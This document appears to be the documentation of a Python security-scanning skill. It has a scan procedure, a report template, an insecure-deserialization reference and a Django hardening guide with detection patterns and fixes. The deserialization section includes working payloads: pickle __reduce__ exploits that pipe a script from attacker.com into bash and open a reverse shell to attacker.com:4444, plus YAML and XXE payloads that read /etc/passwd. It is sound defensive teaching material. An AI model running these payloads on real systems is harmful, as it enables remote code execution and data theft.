Python Security Scan

Python Security Scan Skill

This skill enables comprehensive security scanning of Python projects based on OWASP guidelines, Python security best practices, and framework-specific vulnerabilities.

When to Use This Skill

• Security audits of Python applications
• Code review for security vulnerabilities
• Pre-deployment security checks
• Dependency vulnerability assessment
• Detecting hardcoded secrets and credentials
• Framework-specific security reviews (Flask, Django, FastAPI)

Supported Frameworks

This skill automatically detects and applies framework-specific checks for:

• Flask - Template injection, session security, CORS, extensions
• Django - ORM injection, CSRF, template security, settings
• FastAPI - Dependency injection, Pydantic validation, OAuth2
• General Python - Core language vulnerabilities applicable to all projects

Scan Types

1. Quick Scan

Fast scan focusing on critical vulnerabilities:

• Hardcoded secrets, API keys, and credentials
• Dangerous function usage (eval, exec, pickle.loads)
• Command injection via subprocess, os.system
• SQL injection patterns
• Known vulnerable dependencies

2. Full Scan

Comprehensive security assessment covering:

• All OWASP Top 10:2025 categories
• Python-specific vulnerabilities
• Framework-specific security issues
• Injection vulnerabilities (SQL, NoSQL, Command, LDAP)
• Insecure deserialization
• Authentication and authorization flaws
• Cryptographic failures
• Security misconfigurations
• Dependency audit (CVE check)
• Environment variable and secrets exposure

3. Targeted Scan

Focus on specific vulnerability categories:

• --injection - SQL/NoSQL/Command/LDAP injection
• --deserialization - Pickle, YAML, JSON deserialization
• --auth - Authentication/authorization issues
• --secrets - Hardcoded credentials
• --deps - Dependency vulnerabilities
• --crypto - Cryptographic issues
• --flask - Flask-specific vulnerabilities
• --django - Django-specific vulnerabilities
• --fastapi - FastAPI-specific vulnerabilities

Scan Procedure

Step 1: Project Discovery

1. Identify project type and framework:

• Check for requirements.txt, Pipfile, pyproject.toml, setup.py
• Detect Flask (from flask import), Django (django.conf), FastAPI (from fastapi import)

2. Locate configuration files 3. Map the codebase structure

Step 2: Framework Detection

# Detection patterns
Flask: "from flask import", "Flask(__name__)"
Django: "django.conf.settings", "INSTALLED_APPS", "manage.py"
FastAPI: "from fastapi import", "FastAPI()"

Step 3: Dependency Audit

Run the dependency audit script:

./scripts/dependency-audit.sh /path/to/project

Or manually:

pip-audit
# or
safety check

Step 4: Secret Scanning

Scan for hardcoded secrets:

python scripts/secret-scanner.py /path/to/project

Important: Environment File Handling

• By default, real .env files are SKIPPED (.env, .env.local, .env.production, etc.)
• These files contain actual secrets and should not be in version control
• Only .env.example and .env.template files are analyzed for documentation quality
• Use --include-env-files flag only if explicitly requested by user

The scanner will: 1. Scan source code for hardcoded secrets 2. Analyze .env.example templates to check:

• Which sensitive variables are documented
• Whether variables have descriptions (comments)
• If placeholder values look like real secrets
• Suggestions for missing common variables (SECRET_KEY, DATABASE_URL, etc.)

Step 5: Pattern Analysis

For each file in the codebase, check against patterns in:

• references/python-vulnerabilities.md - Core Python issues
• references/injection-patterns.md - Injection flaws
• references/deserialization.md - Insecure deserialization
• references/flask-security.md - Flask vulnerabilities
• references/django-security.md - Django vulnerabilities
• references/fastapi-security.md - FastAPI vulnerabilities

Step 6: Report Generation

Generate a security report using:

• assets/report-template.md - Report structure

Severity Classification

Key Files to Scan

Always Check

• **/*.py - All Python source files
• requirements.txt, Pipfile, pyproject.toml - Dependencies
• setup.py, setup.cfg - Package configuration
• config.py, settings.py - Configuration files
• **/secrets*, **/credentials* - Obvious secret locations

Environment Files

• .env.example, .env.template - SCAN for template analysis
• .env, .env.local, .env.production - SKIP by default (contain real secrets)

Note: Real .env files should never be committed to version control. The scanner analyzes .env.example templates to ensure proper documentation of required variables.

High Priority Locations

• app.py, main.py, wsgi.py - Entry points
• **/views.py, **/routes.py - Request handlers
• **/api/**/*.py - API endpoints
• **/auth*, **/login* - Authentication code
• **/models.py - Database models
• **/serializers.py - Data serialization
• **/middleware.py - Middleware code

Framework-Specific

Flask:

• app.py, __init__.py - Application factory
• **/blueprints/** - Blueprint routes
• templates/** - Jinja2 templates

Django:

• settings.py, **/settings/*.py - Django settings
• urls.py - URL configuration
• **/views.py - View functions/classes
• **/forms.py - Form definitions
• templates/** - Django templates

FastAPI:

• main.py - Application entry
• **/routers/** - API routers
• **/dependencies.py - Dependency injection
• **/schemas.py - Pydantic models

Output Format

Findings should be reported as:

[SEVERITY] Category: Description
  File: path/to/file.py:lineNumber
  Code: <relevant code snippet>
  Risk: <explanation of the security risk>
  Fix: <recommended remediation>

Integration with CI/CD

This skill can generate output compatible with:

• GitHub Security Advisories
• SARIF format for GitHub Code Scanning
• JSON for custom integrations
• JUnit XML for CI pipelines

References

Load additional context as needed:

• references/owasp-top-10.md - OWASP Top 10:2025 quick reference
• references/python-vulnerabilities.md - Python-specific vulnerabilities
• references/injection-patterns.md - Injection vulnerability patterns
• references/deserialization.md - Insecure deserialization patterns
• references/flask-security.md - Flask security guide
• references/django-security.md - Django security guide
• references/fastapi-security.md - FastAPI security guide

Security Assessment Report

Project: [PROJECT_NAME] Date: [DATE] Scan Type: [QUICK/FULL/TARGETED] Framework Detected: [FRAMEWORK]

---

Executive Summary

Overall Risk Level: [CRITICAL/HIGH/MEDIUM/LOW]

Key Findings

1. [FINDING_1_SUMMARY] 2. [FINDING_2_SUMMARY] 3. [FINDING_3_SUMMARY]

---

Scan Coverage

Files Scanned

• Total Python files: [COUNT]
• Configuration files: [COUNT]
• Template files: [COUNT]

Categories Checked

• [ ] Code Execution (eval, exec, compile)
• [ ] Insecure Deserialization (pickle, yaml, marshal)
• [ ] Command Injection (os.system, subprocess)
• [ ] SQL Injection
• [ ] Cross-Site Scripting (XSS)
• [ ] Authentication Issues
• [ ] Cryptographic Failures
• [ ] Path Traversal
• [ ] SSRF
• [ ] XXE
• [ ] Framework-Specific Issues
• [ ] Hardcoded Secrets
• [ ] Dependency Vulnerabilities

---

Detailed Findings

CRITICAL Findings

[FINDING_ID]: [FINDING_TITLE]

Category: [CATEGORY] CWE: [CWE_ID] File: [FILE_PATH]:[LINE_NUMBER]

Vulnerable Code:

[CODE_SNIPPET]

Description: [DETAILED_DESCRIPTION]

Impact: [IMPACT_DESCRIPTION]

Remediation:

[FIXED_CODE]

References:

• [REFERENCE_LINK_1]
• [REFERENCE_LINK_2]

---

HIGH Findings

[FINDING_ID]: [FINDING_TITLE]

Category: [CATEGORY] CWE: [CWE_ID] File: [FILE_PATH]:[LINE_NUMBER]

Vulnerable Code:

[CODE_SNIPPET]

Description: [DETAILED_DESCRIPTION]

Impact: [IMPACT_DESCRIPTION]

Remediation:

[FIXED_CODE]

---

MEDIUM Findings

[FINDING_ID]: [FINDING_TITLE]

Category: [CATEGORY] CWE: [CWE_ID] File: [FILE_PATH]:[LINE_NUMBER]

Vulnerable Code:

[CODE_SNIPPET]

Description: [DETAILED_DESCRIPTION]

Remediation: [REMEDIATION_STEPS]

---

LOW Findings

[FINDING_ID]: [FINDING_TITLE]

Category: [CATEGORY] CWE: [CWE_ID] File: [FILE_PATH]:[LINE_NUMBER]

Description: [DETAILED_DESCRIPTION]

Recommendation: [RECOMMENDATION]

---

Dependency Audit Results

Vulnerable Dependencies

Outdated Dependencies

---

Framework-Specific Findings

[FRAMEWORK] Security Configuration

---

Recommendations

Immediate Actions (CRITICAL/HIGH)

1. [ACTION_1]

• Files affected: [FILE_LIST]
• Estimated effort: [TIME]

2. [ACTION_2]

• Files affected: [FILE_LIST]
• Estimated effort: [TIME]

Short-term Actions (MEDIUM)

1. [ACTION_1] 2. [ACTION_2]

Long-term Improvements (LOW/INFO)

1. [ACTION_1] 2. [ACTION_2]

---

Security Best Practices Checklist

Input Validation

• [ ] All user inputs are validated
• [ ] Parameterized queries used for database operations
• [ ] File uploads are validated and sanitized

Authentication & Authorization

• [ ] Strong password hashing (bcrypt/argon2)
• [ ] Session management is secure
• [ ] CSRF protection enabled
• [ ] Rate limiting implemented

Data Protection

• [ ] Secrets stored in environment variables
• [ ] Sensitive data encrypted at rest
• [ ] TLS/HTTPS enforced
• [ ] Security headers configured

Dependency Management

• [ ] Dependencies regularly updated
• [ ] Vulnerability scanning in CI/CD
• [ ] Lock files committed

---

Appendix

A. Scan Configuration

Scan Date: [DATE]
Scan Duration: [DURATION]
Scanner Version: [VERSION]
Categories: [CATEGORY_LIST]

B. False Positives

C. Out of Scope

• [ITEM_1]
• [ITEM_2]

---

References

• OWASP Top 10
• CWE/SANS Top 25
• Python Security Best Practices
• Django Security
• Flask Security
• FastAPI Security

---

Report generated by Python Security Scan Skill

Insecure Deserialization Patterns in Python

Overview

Insecure deserialization occurs when untrusted data is used to instantiate objects, potentially leading to remote code execution (RCE), denial of service, or other attacks.

OWASP Classification: A08:2021 - Software and Data Integrity Failures

---

pickle (CRITICAL)

Risk Level: CRITICAL

The pickle module is inherently unsafe for untrusted data. It can execute arbitrary code during deserialization via the __reduce__ method.

Detection Patterns

pickle\.loads?\s*\(
pickle\.Unpickler\s*\(
cPickle\.loads?\s*\(
_pickle\.loads?\s*\(

Vulnerable Code

import pickle

# Direct unpickling of user data
data = pickle.loads(request.data)
data = pickle.load(request.files['data'])

# From network
import socket
conn.recv(1024)
data = pickle.loads(received_data)

# From database (if stored by attacker)
serialized = db.query("SELECT data FROM cache WHERE key = ?", (key,))
data = pickle.loads(serialized)

# From Redis/Memcached
cached = redis_client.get(key)
data = pickle.loads(cached)

Exploit Example

import pickle
import os

class Exploit:
    def __reduce__(self):
        return (os.system, ('curl http://attacker.com/shell.sh | bash',))

# Generate malicious payload
payload = pickle.dumps(Exploit())
# Send payload to vulnerable endpoint

More Sophisticated Exploits

# Using subprocess for more control
class Exploit:
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['cat', '/etc/passwd'],))

# Using eval
class Exploit:
    def __reduce__(self):
        return (eval, ("__import__('os').system('id')",))

# Chained exploitation
class Exploit:
    def __reduce__(self):
        return (
            exec,
            ("import socket,subprocess,os;s=socket.socket();s.connect(('attacker.com',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])",)
        )

Remediation

# Option 1: Use JSON instead
import json
data = json.loads(request.data)

# Option 2: Use safe serialization libraries
import jsonpickle
jsonpickle.set_encoder_options('json', ensure_ascii=False)
data = jsonpickle.decode(request.data)  # Still risky, use with caution

# Option 3: HMAC verification (if pickle is absolutely required)
import hmac
import hashlib

SECRET_KEY = os.environ['PICKLE_SECRET_KEY']

def secure_dumps(obj):
    data = pickle.dumps(obj)
    sig = hmac.new(SECRET_KEY.encode(), data, hashlib.sha256).hexdigest()
    return f"{sig}:{data.hex()}"

def secure_loads(signed_data):
    sig, data_hex = signed_data.split(':')
    data = bytes.fromhex(data_hex)
    expected_sig = hmac.new(SECRET_KEY.encode(), data, hashlib.sha256).hexdigest()
    if not hmac.compare_digest(sig, expected_sig):
        raise ValueError("Invalid signature - possible tampering")
    return pickle.loads(data)

# Option 4: RestrictedUnpickler (limited protection)
import io
import pickle

SAFE_CLASSES = {
    ('myapp.models', 'User'),
    ('myapp.models', 'Product'),
}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if (module, name) in SAFE_CLASSES:
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f"Class {module}.{name} is not allowed")

def restricted_loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

---

PyYAML (CRITICAL)

Risk Level: CRITICAL (with yaml.load), LOW (with yaml.safe_load)

Detection Patterns

yaml\.load\s*\([^)]*\)(?!\s*,\s*Loader\s*=\s*(yaml\.)?SafeLoader)
yaml\.load\s*\([^,)]+\)$
yaml\.unsafe_load\s*\(
yaml\.full_load\s*\(

Vulnerable Code

import yaml

# Dangerous - allows arbitrary Python object instantiation
data = yaml.load(request.data)
data = yaml.load(file_content)
data = yaml.load(request.data, Loader=yaml.Loader)  # Still dangerous
data = yaml.load(request.data, Loader=yaml.FullLoader)  # Partially dangerous
data = yaml.unsafe_load(request.data)  # Explicitly dangerous

Exploit Example

# Execute system command
!!python/object/apply:os.system ['id']

# Execute with subprocess
!!python/object/apply:subprocess.check_output [['cat', '/etc/passwd']]

# Arbitrary code execution
!!python/object/apply:builtins.eval ['__import__("os").system("id")']

# Read files
!!python/object/apply:builtins.open ['etc/passwd']

# Complex payload
!!python/object/new:type
  args: ['exploit', !!python/tuple [], {'__reduce__': !!python/object/apply:builtins.eval ['lambda: __import__("os").system("id")']}]

Remediation

import yaml

# Always use safe_load
data = yaml.safe_load(request.data)

# Or explicitly specify SafeLoader
data = yaml.load(request.data, Loader=yaml.SafeLoader)

# For multiple documents
for doc in yaml.safe_load_all(file_content):
    process(doc)

# Custom safe loader with additional types
class CustomSafeLoader(yaml.SafeLoader):
    pass

def construct_custom_object(loader, node):
    # Only allow specific safe transformations
    return loader.construct_mapping(node)

CustomSafeLoader.add_constructor('!custom', construct_custom_object)
data = yaml.load(content, Loader=CustomSafeLoader)

---

marshal (HIGH)

Risk Level: HIGH

The marshal module can deserialize code objects, which can then be executed.

Detection Patterns

marshal\.loads?\s*\(

Vulnerable Code

import marshal

# Loading code objects
code = marshal.loads(user_data)
exec(code)

# From file
with open(user_file, 'rb') as f:
    code = marshal.load(f)

Remediation

# Never unmarshal untrusted data
# marshal is designed for Python internal use (.pyc files)

# Use JSON or other safe formats
import json
data = json.loads(user_data)

---

shelve (CRITICAL)

Risk Level: CRITICAL

shelve uses pickle internally, inheriting all its vulnerabilities.

Detection Patterns

shelve\.open\s*\(

Vulnerable Code

import shelve

# Opening shelve file with user-controlled path
db = shelve.open(user_filename)
data = db['key']

# Opening shelve with potentially tainted data
db = shelve.open('/tmp/cache')
value = db[user_key]  # If attacker can write to this file

Remediation

# Use SQLite or other safe storage
import sqlite3
import json

conn = sqlite3.connect('data.db')
cursor = conn.cursor()
cursor.execute("SELECT value FROM cache WHERE key = ?", (key,))
row = cursor.fetchone()
data = json.loads(row[0]) if row else None

---

jsonpickle (HIGH)

Risk Level: HIGH

While safer than pickle, jsonpickle can still deserialize arbitrary objects if configured unsafely.

Detection Patterns

jsonpickle\.decode\s*\(
jsonpickle\.unpickler

Vulnerable Code

import jsonpickle

# Default settings may allow dangerous objects
data = jsonpickle.decode(user_input)

# With unsafe settings
jsonpickle.set_decoder_options('json', decode_function=True)
data = jsonpickle.decode(user_input)

Remediation

import jsonpickle

# Use safe mode
data = jsonpickle.decode(user_input, safe=True)

# Or use plain JSON
import json
data = json.loads(user_input)

---

dill (CRITICAL)

Risk Level: CRITICAL

dill extends pickle and shares all its vulnerabilities, often with additional capabilities.

Detection Patterns

dill\.loads?\s*\(

Vulnerable Code

import dill

# Same vulnerabilities as pickle
data = dill.loads(user_data)

Remediation

# Same as pickle - never deserialize untrusted data
# Use JSON or other safe serialization formats

---

XML Deserialization

Risk Level: HIGH (XXE), MEDIUM (Billion Laughs)

Detection Patterns

xml\.etree\.ElementTree\.(parse|fromstring)\s*\(
lxml\.etree\.(parse|fromstring)\s*\(
xml\.dom\.minidom\.parse\s*\(
xml\.sax\.parse\s*\(

Vulnerable Code

from xml.etree.ElementTree import parse, fromstring
from lxml import etree

# XXE vulnerable
tree = parse(user_file)
root = fromstring(user_xml)

# lxml default may be vulnerable
doc = etree.parse(user_file)

Exploit Examples

<!-- XXE: Read local files -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!-- XXE: SSRF -->
<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server/admin">
]>
<data>&xxe;</data>

<!-- Billion Laughs (DoS) -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!-- ... continues ... -->
]>
<lolz>&lol9;</lolz>

Remediation

# Use defusedxml (safe by default)
import defusedxml.ElementTree as ET
tree = ET.parse(user_file)
root = ET.fromstring(user_xml)

# For lxml, disable dangerous features
from lxml import etree
parser = etree.XMLParser(
    resolve_entities=False,
    no_network=True,
    dtd_validation=False,
    load_dtd=False
)
doc = etree.parse(user_file, parser)

# Or use defusedxml with lxml
from defusedxml.lxml import parse
doc = parse(user_file)

---

JSON (Generally Safe)

Risk Level: LOW

Standard JSON is safe, but custom decoders can introduce vulnerabilities.

Potentially Vulnerable Patterns

json\.loads?\s*\([^)]*object_hook
json\.loads?\s*\([^)]*cls\s*=
JSONDecoder\s*\([^)]*object_hook

Vulnerable Code

import json

# Custom object_hook can be dangerous
def dangerous_hook(d):
    if '__class__' in d:
        # Instantiating arbitrary classes
        cls = eval(d['__class__'])
        return cls(**d['data'])
    return d

data = json.loads(user_input, object_hook=dangerous_hook)

Safe Usage

import json

# Default JSON parsing is safe
data = json.loads(user_input)

# Safe custom decoder
def safe_hook(d):
    ALLOWED_TYPES = {'User', 'Product'}
    if '__type__' in d and d['__type__'] in ALLOWED_TYPES:
        # Explicitly map to safe classes
        if d['__type__'] == 'User':
            return User(name=d.get('name'))
    return d

data = json.loads(user_input, object_hook=safe_hook)

---

msgpack (MEDIUM)

Risk Level: MEDIUM

MessagePack has extension types that can be abused.

Detection Patterns

msgpack\.(loads?|unpack)\s*\([^)]*ext_hook
msgpack\.Unpacker\s*\([^)]*ext_hook

Vulnerable Code

import msgpack

# Dangerous ext_hook
def dangerous_ext_hook(code, data):
    if code == 1:
        return pickle.loads(data)  # RCE!
    return msgpack.ExtType(code, data)

data = msgpack.loads(user_input, ext_hook=dangerous_ext_hook)

Safe Usage

import msgpack

# Default usage is safe
data = msgpack.loads(user_input)

# Safe custom extension
def safe_ext_hook(code, data):
    if code == 1:
        # Only handle known safe extensions
        return data.decode('utf-8')
    raise ValueError(f"Unknown extension type: {code}")

data = msgpack.loads(user_input, ext_hook=safe_ext_hook)

---

Summary Table

Django Security Guide

Framework Detection

# Detection patterns
import django
from django.conf import settings
from django.http import HttpResponse
INSTALLED_APPS = [...]

---

Debug Mode

Risk Level: CRITICAL

Detection Pattern:

DEBUG\s*=\s*True

Vulnerable Code:

# settings.py
DEBUG = True  # Never in production!

Impact:

• Detailed error pages expose source code
• SQL queries shown in error pages
• Settings and environment variables exposed
• Sensitive data in tracebacks

Remediation:

# settings.py
import os
DEBUG = os.environ.get('DJANGO_DEBUG', 'False').lower() == 'true'

# Or use django-environ
import environ
env = environ.Env(DEBUG=(bool, False))
DEBUG = env('DEBUG')

---

Secret Key

Risk Level: CRITICAL

Detection Pattern:

SECRET_KEY\s*=\s*['"'][^'"']+['"']

Vulnerable Code:

# Hardcoded or weak secret key
SECRET_KEY = 'django-insecure-abc123'
SECRET_KEY = 'change-me-in-production'

Impact:

• Session hijacking
• CSRF bypass
• Cryptographic signing compromise
• Password reset token forgery

Remediation:

import os
from django.core.management.utils import get_random_secret_key

SECRET_KEY = os.environ.get('DJANGO_SECRET_KEY') or get_random_secret_key()

# Or use secrets file
with open('/etc/secrets/django_key') as f:
    SECRET_KEY = f.read().strip()

---

SQL Injection

Risk Level: CRITICAL

Detection Patterns:

\.raw\s*\(\s*f['"']
\.raw\s*\([^)]*%
\.extra\s*\(
RawSQL\s*\(
cursor\.execute\s*\(f

Vulnerable Code:

from django.db import connection

# Raw queries with string formatting
User.objects.raw(f"SELECT * FROM auth_user WHERE username = '{username}'")
User.objects.raw("SELECT * FROM auth_user WHERE id = %s" % user_id)

# Extra (deprecated but still used)
User.objects.extra(where=[f"username = '{username}'"])

# Direct cursor
cursor = connection.cursor()
cursor.execute(f"SELECT * FROM auth_user WHERE id = {user_id}")

Remediation:

# Use ORM querysets
User.objects.filter(username=username)
User.objects.get(pk=user_id)

# Parameterized raw queries
User.objects.raw("SELECT * FROM auth_user WHERE username = %s", [username])

# Parameterized cursor
cursor.execute("SELECT * FROM auth_user WHERE id = %s", [user_id])

---

Cross-Site Scripting (XSS)

Risk Level: HIGH

Detection Patterns:

\|\s*safe\s*[%}]
mark_safe\s*\(
{% autoescape off %}
__html__
format_html\s*\([^)]*\{[^}]*\}

Vulnerable Code:

from django.utils.safestring import mark_safe

# Disabling auto-escape in templates
{{ user_input|safe }}
{% autoescape off %}{{ user_input }}{% endautoescape %}

# Python side
return HttpResponse(mark_safe(f"<div>{user_input}</div>"))

# Improper format_html usage
from django.utils.html import format_html
return format_html("<div>{}</div>", mark_safe(user_input))

Remediation:

# Django auto-escapes by default
{{ user_input }}  # Safe

# Use format_html correctly
from django.utils.html import format_html, escape
return format_html("<div>{}</div>", user_input)  # user_input is escaped

# If HTML is needed, sanitize first
import bleach
clean_html = bleach.clean(user_input, tags=['p', 'b', 'i', 'a'])
return mark_safe(clean_html)

---

Cross-Site Request Forgery (CSRF)

Risk Level: HIGH

Detection Patterns:

@csrf_exempt
csrf_exempt\s*\(
CSRF_COOKIE_SECURE\s*=\s*False
CSRF_USE_SESSIONS\s*=\s*False

Vulnerable Code:

from django.views.decorators.csrf import csrf_exempt

# Disabling CSRF protection
@csrf_exempt
def my_view(request):
    pass

# Missing CSRF token in forms
<form method="post">
    <input type="submit">
</form>

# Insecure CSRF settings
CSRF_COOKIE_SECURE = False
CSRF_COOKIE_HTTPONLY = False

Remediation:

# Include CSRF token in all POST forms
<form method="post">
    {% csrf_token %}
    <input type="submit">
</form>

# Secure CSRF settings
CSRF_COOKIE_SECURE = True      # HTTPS only
CSRF_COOKIE_HTTPONLY = True    # No JS access
CSRF_COOKIE_SAMESITE = 'Lax'   # Prevent cross-site requests

# For AJAX requests
const csrftoken = document.querySelector('[name=csrfmiddlewaretoken]').value;
fetch('/api/', {
    headers: {'X-CSRFToken': csrftoken}
});

---

Authentication Issues

Risk Level: HIGH

Detection Patterns:

AUTH_PASSWORD_VALIDATORS\s*=\s*\[\s*\]
password.*=.*request\.(GET|POST)
\.set_password\s*\(
check_password\s*\(

Vulnerable Code:

# Empty password validators
AUTH_PASSWORD_VALIDATORS = []

# Weak authentication
def login_view(request):
    username = request.POST['username']
    password = request.POST['password']
    user = User.objects.get(username=username)
    if user.password == password:  # Plain text comparison!
        login(request, user)

# No rate limiting on login

Remediation:

# Strong password validators
AUTH_PASSWORD_VALIDATORS = [
    {'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator'},
    {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 'OPTIONS': {'min_length': 12}},
    {'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'},
    {'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator'},
]

# Use Django's authentication
from django.contrib.auth import authenticate, login

def login_view(request):
    user = authenticate(request, username=username, password=password)
    if user is not None:
        login(request, user)

# Add rate limiting with django-ratelimit
from django_ratelimit.decorators import ratelimit

@ratelimit(key='ip', rate='5/m', method='POST')
def login_view(request):
    pass

---

Session Security

Risk Level: HIGH

Detection Patterns:

SESSION_COOKIE_SECURE\s*=\s*False
SESSION_COOKIE_HTTPONLY\s*=\s*False
SESSION_ENGINE.*cache

Vulnerable Code:

# Insecure session settings
SESSION_COOKIE_SECURE = False
SESSION_COOKIE_HTTPONLY = False
SESSION_COOKIE_SAMESITE = None
SESSION_EXPIRE_AT_BROWSER_CLOSE = False
SESSION_COOKIE_AGE = 31536000  # 1 year

# Cookie-based sessions (data visible to user)
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'

Remediation:

# Secure session configuration
SESSION_COOKIE_SECURE = True        # HTTPS only
SESSION_COOKIE_HTTPONLY = True      # No JavaScript access
SESSION_COOKIE_SAMESITE = 'Lax'     # CSRF protection
SESSION_COOKIE_AGE = 3600           # 1 hour
SESSION_EXPIRE_AT_BROWSER_CLOSE = True

# Use database or cache sessions
SESSION_ENGINE = 'django.contrib.sessions.backends.db'
# Or
SESSION_ENGINE = 'django.contrib.sessions.backends.cache'

---

Allowed Hosts

Risk Level: HIGH

Detection Patterns:

ALLOWED_HOSTS\s*=\s*\[\s*\]
ALLOWED_HOSTS\s*=\s*\[\s*['"]\*['"]\s*\]

Vulnerable Code:

# Empty allowed hosts (only works with DEBUG=True)
ALLOWED_HOSTS = []

# Wildcard (allows any host)
ALLOWED_HOSTS = ['*']

Impact:

• Host header injection
• Cache poisoning
• Password reset poisoning

Remediation:

ALLOWED_HOSTS = [
    'example.com',
    'www.example.com',
    '.example.com',  # Subdomain wildcard
]

# From environment
import os
ALLOWED_HOSTS = os.environ.get('DJANGO_ALLOWED_HOSTS', '').split(',')

---

Security Middleware

Risk Level: MEDIUM

Detection Patterns: Check for missing middleware:

SecurityMiddleware
XFrameOptionsMiddleware

Vulnerable Configuration:

MIDDLEWARE = [
    # Missing security middleware
    'django.middleware.common.CommonMiddleware',
]

# Insecure settings
SECURE_SSL_REDIRECT = False
SECURE_HSTS_SECONDS = 0
X_FRAME_OPTIONS = None

Remediation:

MIDDLEWARE = [
    'django.middleware.security.SecurityMiddleware',
    'django.middleware.clickjacking.XFrameOptionsMiddleware',
    # ... other middleware
]

# Security settings
SECURE_SSL_REDIRECT = True
SECURE_HSTS_SECONDS = 31536000
SECURE_HSTS_INCLUDE_SUBDOMAINS = True
SECURE_HSTS_PRELOAD = True
SECURE_CONTENT_TYPE_NOSNIFF = True
SECURE_BROWSER_XSS_FILTER = True
X_FRAME_OPTIONS = 'DENY'

---

File Upload Vulnerabilities

Risk Level: HIGH

Detection Patterns:

request\.FILES
FileField\s*\(
ImageField\s*\(
\.save\s*\(

Vulnerable Code:

# No file type validation
def upload_view(request):
    file = request.FILES['document']
    file.save(f'/uploads/{file.name}')

# Model without validation
class Document(models.Model):
    file = models.FileField(upload_to='documents/')

Remediation:

from django.core.validators import FileExtensionValidator
from django.core.exceptions import ValidationError
import magic

def validate_file_type(file):
    valid_mime_types = ['application/pdf', 'image/jpeg', 'image/png']
    file_mime_type = magic.from_buffer(file.read(1024), mime=True)
    file.seek(0)
    if file_mime_type not in valid_mime_types:
        raise ValidationError('Invalid file type')

class Document(models.Model):
    file = models.FileField(
        upload_to='documents/',
        validators=[
            FileExtensionValidator(allowed_extensions=['pdf', 'jpg', 'png']),
            validate_file_type,
        ]
    )

# Limit file size
DATA_UPLOAD_MAX_MEMORY_SIZE = 5242880  # 5MB
FILE_UPLOAD_MAX_MEMORY_SIZE = 5242880

---

Open Redirect

Risk Level: MEDIUM

Detection Patterns:

redirect\s*\(\s*request\.(GET|POST)
HttpResponseRedirect\s*\([^)]*request

Vulnerable Code:

from django.shortcuts import redirect

def login_redirect(request):
    next_url = request.GET.get('next')
    return redirect(next_url)  # Can redirect to malicious site

Remediation:

from django.utils.http import url_has_allowed_host_and_scheme
from django.shortcuts import redirect

def login_redirect(request):
    next_url = request.GET.get('next', '/')
    if url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
        return redirect(next_url)
    return redirect('/')

# Or use Django's login view which handles this
from django.contrib.auth.views import LoginView

---

Mass Assignment

Risk Level: HIGH

Detection Patterns:

\.objects\.create\s*\(\s*\*\*request\.(POST|GET)
Model\s*\(\s*\*\*
form\.save\s*\(\s*commit\s*=\s*False\s*\)

Vulnerable Code:

# Direct creation from request data
def create_user(request):
    User.objects.create(**request.POST.dict())  # Can set is_admin=True!

# Uncontrolled model instantiation
user = User(**request.POST.dict())
user.save()

Remediation:

# Use Django Forms
from django import forms

class UserForm(forms.ModelForm):
    class Meta:
        model = User
        fields = ['username', 'email']  # Explicitly list allowed fields

def create_user(request):
    form = UserForm(request.POST)
    if form.is_valid():
        form.save()

# Or whitelist fields
ALLOWED_FIELDS = {'username', 'email', 'first_name'}
data = {k: v for k, v in request.POST.items() if k in ALLOWED_FIELDS}
User.objects.create(**data)

---

Sensitive Data in URLs

Risk Level: MEDIUM

Detection Patterns:

path\s*\([^)]*<.*token
path\s*\([^)]*<.*password
path\s*\([^)]*<.*secret

Vulnerable Code:

# Sensitive data in URL
urlpatterns = [
    path('reset/<str:token>/', reset_password),  # Token logged in access logs
    path('api/<str:api_key>/data/', get_data),   # API key exposed
]

Remediation:

# Use POST for sensitive data
urlpatterns = [
    path('reset/', reset_password),  # Token in POST body
]

def reset_password(request):
    token = request.POST.get('token')

# Use headers for API keys
def get_data(request):
    api_key = request.headers.get('X-API-Key')

---

Template Injection

Risk Level: HIGH

Detection Patterns:

Template\s*\([^)]*request
render_to_string\s*\([^)]*request

Vulnerable Code:

from django.template import Template, Context

def render_user_template(request):
    template_string = request.POST.get('template')
    template = Template(template_string)  # User controls template!
    return HttpResponse(template.render(Context({})))

Remediation:

# Never allow user-controlled templates
# Use predefined templates with user data as context

from django.shortcuts import render

def render_page(request):
    user_content = request.POST.get('content')
    return render(request, 'page.html', {'content': user_content})

---

Logging Sensitive Data

Risk Level: MEDIUM

Detection Patterns:

logger\.(info|debug|warning|error)\s*\([^)]*password
logger\.(info|debug|warning|error)\s*\([^)]*token
logger\.(info|debug|warning|error)\s*\([^)]*secret

Vulnerable Code:

import logging
logger = logging.getLogger(__name__)

def login_view(request):
    username = request.POST['username']
    password = request.POST['password']
    logger.info(f"Login attempt: {username} with password {password}")  # Exposes password!

Remediation:

# Never log sensitive data
logger.info(f"Login attempt for user: {username}")

# Use Django's sensitive_post_parameters
from django.views.decorators.debug import sensitive_post_parameters

@sensitive_post_parameters('password', 'password2')
def register_view(request):
    pass

---

Clickjacking Protection

Risk Level: MEDIUM

Detection Patterns:

@xframe_options_exempt
X_FRAME_OPTIONS\s*=\s*None
X_FRAME_OPTIONS\s*=\s*['"]ALLOWALL['"]

Vulnerable Code:

from django.views.decorators.clickjacking import xframe_options_exempt

@xframe_options_exempt
def embeddable_view(request):
    pass

# Or in settings
X_FRAME_OPTIONS = None

Remediation:

# In settings
X_FRAME_OPTIONS = 'DENY'
# Or
X_FRAME_OPTIONS = 'SAMEORIGIN'

